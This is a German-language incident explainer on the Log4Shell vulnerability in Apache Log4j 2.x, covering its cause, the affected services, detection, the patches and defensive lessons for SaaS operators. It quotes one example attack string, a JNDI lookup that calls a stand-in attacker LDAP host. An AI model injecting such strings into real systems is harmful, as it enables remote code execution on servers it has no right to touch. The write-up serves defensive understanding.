Log4Shell — Die größte RCE des Internets
Was geschah
Am 9. Dezember 2021 erschien ein Proof-of-Concept für CVE-2021-44228 auf Twitter. Apache Log4j 2.x — die Logging-Bibliothek, die praktisch jede Java-Anwendung weltweit nutzt — erlaubte Remote Code Execution durch eine einzige manipulierte Log-Nachricht. Der Angriffsstring $\{jndi:ldap://attacker.com/a} zwang Log4j, sich mit einem Angreifer-kontrollierten LDAP-Server zu verbinden und eine bösartige Java-Klasse zu deserialisieren. Keine Authentifizierung erforderlich.
Ursache
Log4js JNDI-Lookup-Funktion. Wenn Log4j auf $\{jndi:...} in einer Log-Nachricht stieß, löste es den Lookup auf, indem es sich mit dem angegebenen Verzeichnisdienst verband. Ein Angreifer konnte diesen String in jedes Feld injizieren, das geloggt wird — HTTP User-Agent-Header, Benutzernamen, Chat-Nachrichten, sogar E-Mail-Betreffzeilen. Der LDAP-Server gab ein serialisiertes Java-Objekt zurück, das Log4j deserialisierte und beliebigen Code ausführte.
Wer war betroffen
- Apple iCloud
- Steam, Twitter, Amazon Web Services
- VMware vCenter, Apache Struts, Elasticsearch
- Minecraft-Server (die Schwachstelle wurde über den Minecraft-Chat entdeckt)
- Schätzung: 93 % der Enterprise-Cloud-Umgebungen
Wie es erkannt wurde
Sicherheitsteams fanden Exploit-Versuche in ihren Webserver-Logs — User-Agent-Header mit jndi:ldap-Strings. In internen Systemen eingebettete Canary-Tokens lösten ausgehende LDAP-Callbacks aus. Microsoft, CrowdStrike und Cloudflare veröffentlichten innerhalb weniger Stunden Erkennungsregeln.
Wie es behoben wurde
Apache veröffentlichte Log4j 2.17.1 — vier Patches in 10 Tagen, da Umgehungen entdeckt wurden.
Lehren für Ihr SaaS
- SBOM ist nicht optional. Sie können Log4j nicht patchen, wenn Sie nicht wissen, dass Sie es verwenden.
- Log-Injection ist ein realer Angriffsvektor. Bereinigen Sie alle Benutzerdaten vor der Protokollierung.
- Egress-Filterung ist wichtig. Blockieren Sie ausgehendes LDAP, RMI und DNS von Ihren Anwendungsservern.
- Patch-Geschwindigkeit > Patch-Perfektion. Vier Patches in 10 Tagen. Erst bereitstellen, dann verfeinern.